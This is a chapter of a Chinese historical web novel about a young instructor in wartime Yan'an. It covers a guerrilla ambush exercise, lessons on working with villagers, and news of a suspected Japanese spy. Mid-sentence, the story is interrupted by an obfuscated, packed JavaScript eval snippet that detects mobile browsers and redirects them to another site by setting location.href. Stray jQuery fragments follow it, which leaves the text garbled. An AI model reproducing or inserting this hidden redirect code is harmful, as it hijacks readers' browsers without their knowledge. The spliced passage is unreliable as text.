实战模拟课安排在后山的一片复杂地形区。


    这里原本是个废弃的村落，十几孔塌了大半的窑洞散落在山坡上，干涸的河床成了天然的“堑壕”，几棵老槐树提供了有限的隐蔽。抗大的□□们在这里布置了简单的“战场”——用石灰粉划出区域边界，用木牌标示“据点”“补给点”，甚至还用稻草扎了几个“鬼子兵”当靶子。


    周六清晨，天刚蒙蒙亮，特别班的二十名学员已经集合完毕。他们被分成两组：红队十人，扮演八路军伏击分队；蓝队十人，扮演日军巡逻队。林晏和另外两名抗大□□担任裁判。


    “规则很简单。”林晏站在两队中间，“红队的目标：在上午九点到十二点之间，成功‘伏击’蓝队至少一次，且自身‘伤亡’不超过三人。蓝队的目标：安全通过整个区域，或者‘反杀’红队至少五人。每人胸口别着布条，被木枪戳中要害、被裁判判定‘中弹’即退出。”


    他顿了顿：“但有一个附加条件——红队必须使用‘随机时间’原则选择伏击时机，不能提前规划固定时间。蓝队可以自由选择通过时间和路线。”


    蓝队队长是张连长，他咧嘴笑了：“林□□，你这是给红队加难度啊。”


    “实战中，敌人不会按我们的计划走。”林晏平静地说，“红队要学会在不确定中寻找机会。”


    红队队长是王大山，他挠挠头：“那我们怎么协调？大家都随机，万一撞不到一起怎么办？”


    “所以需要临机协同。”林晏说，“你们有简易通讯工具——”他指了指分配给每队的两面小旗，“和约定的几个备用汇合点。剩下的，靠你们自己。”


    这是模拟真实战场通讯不畅的情况。


    八点整，模拟开始。红队率先进入区域，隐蔽在预定位置。蓝队则在外围等待，观察。


    林晏和另外两名裁判分别占据三个制高点，用望远镜观察全场。他手里拿着怀表和笔记本，准备记录关键时间节点。


    最初的一个小时，战场很安静。


    红队按照“随机”原则分散在几个可能的位置，但没有轻易暴露。蓝队则派出了两个侦察兵，小心翼翼地进入区域探查。


    九点十分，红队一名队员——陈望，按捺不住，从隐蔽处探出头观察，被蓝队侦察兵发现。裁判判定：暴露位置，红队该位置失效。


    “太急了。”林晏在本子上记下，“学员心态不稳，缺乏耐心。”


    九点四十分，蓝队主力开始进入区域。他们采取了非常规的路线——不是走河床这条“明显通道”，而是沿着北侧山坡，借着地形掩护缓慢推进。


    这个选择让红队措手不及。他们的大部分伏击点都设在河床两侧。


    “蓝队打破了常规。”另一名裁判，抗大的战术□□老周低声说，“有意思。”


    林晏点点头。这正是他期待的——对抗双方都要学会“反常规”。


    十点整，红队调整部署。王大山用旗语通知分散的队员，向蓝队前进方向移动。但这需要时间，而且移动过程中有暴露的风险。


    十点二十，意外发生了。


    红队两名队员在转移时，与蓝队一支三人侦察小组遭遇。近距离接触，裁判判定双方同时“交火”。结果：红队“阵亡”一人，“重伤”一人；蓝队“轻伤”一人。


    “遭遇战。”林晏快速记录，“红队未达伏击条件，损失两人。蓝队战术成功。”


    战场局势开始倾斜。红队只剩七人，且位置分散。蓝队还有九人，保持着完整的队形。


    观战的学员们屏住呼吸。这不再是一场游戏，而是真实的战术博弈。


    十点五十，转机出现。


    红队剩余队员在二号备用汇合点重新集结。王大山做出了一个大胆的决定：放弃在蓝队行进路线上设伏，改为尾随，等待蓝队放松警惕的时机。


    “这是游击战的精髓。”老周赞许道，“不硬碰，找软肋。”


    蓝队通过核心区域后，速度明显加快，警戒也放松了——他们认为红队已经遭受重创，无力再组织有效伏击。


    十一点十分，蓝队抵达“终点”前最后一段路：一片开阔地，只有几处低矮的土坎可以隐蔽。按照常规，这是最不可能设伏的地形。


    张连长下令快速通过。


    就在这时，红队动了。


    王大山带着剩下的六人，从三个方向同时扑出。他们没有选择远程“射击”，而是直接发起“冲锋”——因为在开阔地，远程攻击容易被发现和躲避，近身突击反而能打乱对方阵型。


    蓝队猝不及防。裁判迅速判定：红队“牺牲”四人，但成功“歼灭”蓝队六人，包括张连长本人。


    模拟结束。


    十一点三十分，双方在终点集合。红队还剩三人，蓝队还剩三人。按规则，红队完成了“至少伏击一次”的目标，但自身伤亡七人，远超限额。蓝队虽然被伏击，但造成了红队更大伤亡。


    平局。


    “精彩。”林晏走到两队中间，“双方都展现了战术智慧。红队在逆境中抓住了最后的机会，蓝队全程保持了高度的警惕和灵活的应变。”


    他看向学员们：“但更重要的是，我们从这场模拟中学到了什么？”


    短暂的沉默后，陈望第一个举手：“我学到了耐心。如果我当时不急着探头，可能不会被发现，后续的局势会完全不同。”


    “很好。”林晏在黑板上写下“耐心”二字。


    张连长接着说：“我学到了不能按常理出牌。红队最后在开阔地伏击，完全出乎我的意料。我以为他们会在复杂地形动手。”


    “打破思维定式。”林晏写下第二点。


    王大山挠挠头：“我学到的是……指挥真难。大家都分散了，旗语有时候看不清楚，又不敢大声喊。怎么把命令传下去，怎么让大家都明白要做什么，太难了。”


    “通讯与协同。”林晏写下第三点，“这是时间战法最难的部分——如何在保持随机性的同时，保持整体协调。”


    他转向所有学员：“还有吗？”


    “随机不是乱来。”一个前线干部说，“红队一开始太分散了，虽然说是随机，但互相之间没有配合。后面能赢，是因为王连长把大家重新组织起来了。”


    “对。”林晏重重写下第四点，“随机要有度，要在整体框架内随机。否则就是各自为战，容易被各个击破。”


    讨论持续了半小时。学员们从各个角度分析这场模拟，争论得失，总结经验。林晏只是引导，很少给出标准答案——因为实战中本就没有标准答案。


    最后，他总结道：“时间战法的核心，不是一套固定的操作规程，而是一种思维方式：时刻问自己，敌人期待我怎么做？然后做敌人想不到的事。但同时，要保证这件事在己方的能力范围内，要保证这件事符合整体作战意图。”


    他顿了顿：“这很难。需要训练，需要经验，也需要指挥员的智慧和决断。但一旦掌握，我们就能在战场上获得宝贵的主动权。”


    学员们认真记下这些话。那些原本带着怀疑眼神的前线干部，此刻眼神里多了几分认同。


    “下周一，我们复盘今天的模拟，每个人都要提交一份改进方案。”林晏布置作业，“现在，解散，吃饭！”


    学员们欢呼着散去，三三两两地讨论着刚才的战斗。张连长走到林晏身边：“林□□，你这套东西，确实有点门道。不过……”


    “不过什么？”


    “不过真到了战场上，情况比这复杂一百倍。”张连长看着远处，“子弹是真的，血是真的，死了就是死了。那时候，什么理论都可能顾不上。”


    “我知道。”林晏坦然说，“所以理论不是用来照搬的，是用来提供思路的。当你在战场上不知道该怎么办时，如果能想起‘敌人期待我怎么做’，然后反其道而行，可能就多一分活下来的机会。”


    张连长沉默了片刻，点点头：“是这个理。”


    他转身离开，走了几步又回过头：“林□□，下次模拟，我还想跟你那队打。”


    “随时奉陪。”


    ---


    实战模拟课的成功，让特别班的气氛彻底改变了。学员们不再把林晏当成“空谈理论的文化人”，而是开始真正尊重和信任这个比他们还年轻的□□。


    周一的复盘课上，每个人提交的改进方案都很有见地。陈望从通讯角度提出了一套简易的“时间-位置”编码系统；王大山总结了指挥分散部队的几点经验；张连长则提出了一套“多层次随机”的构想——不仅时间随机，兵力配置、攻击方向、撤退路线都随机。


    林晏把这些方案整理起来，准备补充进教材。他越来越确信，这套理论的生命力，不仅在于他个人的思考，更在于无数一线指战员的实践和智慧。


    课程进入第二周，内容更加深入。林晏开始讲“时间战法与群众工作的结合”——如何利用老百姓的日常活动掩护军事行动，如何从群众中获取时间情报，如何让群众成为“时间网络”的一部分。


    这部分内容引发了激烈争论。一些学员认为，让群众参与军事行动会增加他们的风险；另一些则认为，没有群众的支持，游击队根本无法生存。


    争论持续了整个上午。林晏没有急于下结论，而是让学员们分组辩论，自己则记录下各方的观点。


    下午，他带来了一份特殊材料——几封从山西前线转来的信。


    “这是我在连队时，战士们收到的家书，以及他们自己写的回信。”林晏把信分发给学员们，“我想请大家看看，这些信里除了亲情，还有什么。”


    学员们传阅着那些粗糙的信纸。有的信里，老乡提到“这几天鬼子查得严，早晚都有巡逻”；有的信里，战士告诉家里“我们改成了半夜练兵，白天睡觉”；还有的信里，简单画着太阳、月亮和小人，用最朴素的方式传递着时间信息。


    “看明白了吗？”林晏问，“群众不需要直接参与战斗。他们只需要在日常生活里，多看一眼，多记一下，然后把看到的情况用安全的方式告诉我们。这就是最宝贵的情报——关于敌人活动规律的情报。”


    他顿了顿：“反过来，我们也可以把一些不敏感的时间信息，通过群众网络传递出去。比如，让老乡们知道‘这几天后山不太平，少去’，实际上是在掩护我们的部队调动。”


    窑洞里安静下来。学员们盯着那些信，陷入了深思。


    “战争不只是军队的事。”林晏缓缓说，“是全民的事。时间战法，如果只局限在军队内部，就失去了一半的意义。只有当它和群众的日常生活结合起来，才能形成真正的‘天罗地网’，让敌人无所遁形。”


    这个观点冲击了很多人的认知。传统的军事教育，更多强调军队的独立性和专业性。但林晏提出的，是一种更深层次的“军民融合”。


    “但这需要极高的信任和组织。”王大山皱眉，“群众凭什么相信我们？凭什么为我们冒险？”


    “凭我们为他们做的事。”林晏说，“帮他们收庄稼，教他们的孩子识字，保护他们的村子不被鬼子祸害。信任不是凭空来的，是用实际行动换来的。”


    他讲了一个亲身经历的故事：“在山西，我们连驻扎的村子，有个王大娘。她儿子被鬼子杀了，恨透了鬼子。但她一开始也不信任我们，觉得当兵的都一个样。后来，我们帮她修了被大雨冲垮的房顶，卫生员治好了她孙子的疟疾。慢慢地，她开始主动告诉我们，哪条小路鬼子不知道，什么时候据点换岗，甚至帮我们藏伤员。”


    “后来呢？”陈望问。


    “后来有一次，鬼子来扫荡，王大娘为了掩护我们藏在地窖里的伤员，被鬼子打死了。”林晏的声音低沉下去，“她临死前，对她孙子说：记住，八路军是咱自己的人。”


    窑洞里一片寂静。有女学员开始抹眼泪。


    “这就是群众工作。”林晏抬起头，目光扫过每一个人，“不是交易，不是利用，是生死与共。当我们把群众当成自己人，群众也会把我们当成自己人。那时候，时间战法就不再是战术，是人民战争的真正体现。”


    这节课，没有人再争论。


    下课后，学员们默默离开，每个人都陷入了沉重的思考。林晏


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140739|196318||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    知道，这些年轻人——无论是前线的老兵，还是后方的学生——都需要时间来消化这个残酷而真实的道理。


    他收拾好东西，最后一个走出窑洞。


    天色已晚，延安的灯火次第亮起。山坡上，传来抗大学员们晚课的歌声，依然是那首《延安颂》，但今天听起来，格外沉重而有力。


    林晏沿着小路往回走，心里想着王大娘，想着那些把生命托付给军队的老乡，想着那些为了保护群众而牺牲的战士。


    他想起了沈擎苍。沈擎苍从未直接讲过什么大道理，但他做的每一件事——收留可疑的林晏、保护受欺负的老乡、把最后一口粮食让给伤员——都在践行着“人民军队为人民”的信念。


    这种信念，比任何战术理论都更根本，也更强大。


    林晏回到招待所，点起油灯。他翻开教材稿，找到“群众工作”那一册，开始大幅修改。


    原本的写法，更多是从“技术”角度讲如何获取群众支持。现在，他增加了一章：“为什么群众工作不是手段，是目的——从王大娘的故事说起”。


    他写得很慢，很用力。每一个字，都像是在刻碑。


    写到深夜时，窗外传来敲门声。


    林晏打开门，是秦科长，神色严肃。


    “林晏，有情况。”秦科长压低声音，“进来，关上门。”


    林晏心里一紧，迅速关好门。


    秦科长在桌前坐下，从怀里掏出一张纸：“这是刚刚从北平地下党传来的密电。关于大卫·史密斯的。”


    林晏接过纸。上面是用密码转写的中文，只有短短几行：


    “大卫·史密斯，美籍华裔学者，燕京大学教授。近期频繁接触日方人员，疑为双重身份。其研究方向‘认知心理学与战争行为’获日方资助。曾于去年夏申请赴延安考察，真实目的不明。建议提高警惕。”


    密电末尾还有一个附注：“据悉，史密斯近期完成一篇论文，题为《论非对称战争中的时间认知差异——以华北战场为例》。文中大量引用八路军战术案例，部分案例细节极为精确，疑有内线提供。”


    林晏的手开始发抖。


    “论文……案例……”他喃喃道。


    “对。”秦科长表情凝重，“史密斯在论文中提到的几个战例，包括王家岭战斗的一些细节，都是我们内部才掌握的信息。尤其是关于‘时间随机性’的应用部分，几乎和你的教材如出一辙。”


    “所以……真的有内奸。”林晏感到一阵寒意。


    “而且这个内奸，级别不低，能接触到核心战术讨论。”秦科长说，“我们已经缩小了排查范围。但在这之前，你必须更加小心。”


    他看着林晏：“史密斯在论文里，专门提到了一个‘林姓□□’的观点，虽然没有点名，但指向性很明显。你现在不仅是被观察的对象，可能已经成了某些人的‘研究样本’。”


    林晏想起那封信，想起图书馆的批注，想起“先知”这个外号。一切线索都串起来了。


    大卫·史密斯不是单纯的学者。他是一个为日方服务的情报分析专家，他正在系统研究八路军的战术思想，而林晏——这个提出全新理论的年轻□□——成了他重点关注的案例。


    “那我该怎么做？”林晏强迫自己冷静。


    “继续教课，继续工作，但要注意言行。”秦科长说，“不要单独行动，不要接触可疑人员，教材的修订要更加谨慎。另外——”


    他顿了顿：“总参决定，加快教材的试点推广。与其让敌人慢慢研究，不如我们先发制人，在全军铺开，让这套理论成为普遍共识。这样，即使有部分信息泄露，敌人也无法针对性地反制。”


    这是以攻为守的策略。林晏明白了。


    “好。我会尽快完成修订。”


    “还有一件事。”秦科长站起身，“关于图书馆那本书的批注……笔迹鉴定结果出来了。”


    林晏屏住呼吸。


    “不是田中义雄的笔迹。”秦科长缓缓说，“也不是图书馆其他借阅者的。那行批注，是有人趁着管理员不注意，偷偷写上去的。时间大概在一个月前。”


    一个月前……那差不多是林晏的教材开始在内部讨论的时候。


    “也就是说，这个人可能还在延安，可能还在抗大。”林晏说。


    “对。”秦科长看着他，“所以，特别班的学员里，有没有你觉得可疑的人？”


    林晏愣住了。他回想这半个月的教学，回想每个学员的表现。陈望的热切，王大山的务实，张连长的犀利……每个人都那么真实，那么投入。


    “我……看不出来。”他诚实地说。


    “那就继续观察。”秦科长拍拍他的肩膀，“但记住，不要打草惊蛇。敌人在暗，我们在明。你的安全是第一位的。”


    他走到门口，又回过头：“林晏，你做的是一件很重要的事。不要因为这些事情退缩。前线需要你的理论，战士们需要你的教材。坚持下去，我们会保护好你。”


    门关上了。林晏独自站在油灯的光晕里，影子在墙上晃动。


    窗外，夜色深重。延安的灯火在黑暗中闪烁，像无数双警惕的眼睛。


    他知道，自己站在了一个十字路口。往前，是思想的战场，是光明正大的教学与传播；往后，是情报的暗战，是看不见的刀光剑影。


    而他，必须在两者之间找到平衡。


    继续教课，但更加谨慎。


    继续研究，但更加隐蔽。


    继续战斗，但更加聪明。


    林晏深吸一口气，吹灭了油灯。


    黑暗中，他坐在桌前，开始继续修改教材。


    笔尖在纸上沙沙作响，像春蚕食叶，像细雨润土，像这个时代无数个不眠的夜晚里，那些在黑暗中依然坚持工作、思考、战斗的人。


    他写。


    他思考。


    他准备。


    为了前线的战士，为了后方的群众，为了那个必须到来的胜利。


    也为了自己，能在这场明暗交织的战争中，活下来，战斗下去。


    直到黎明。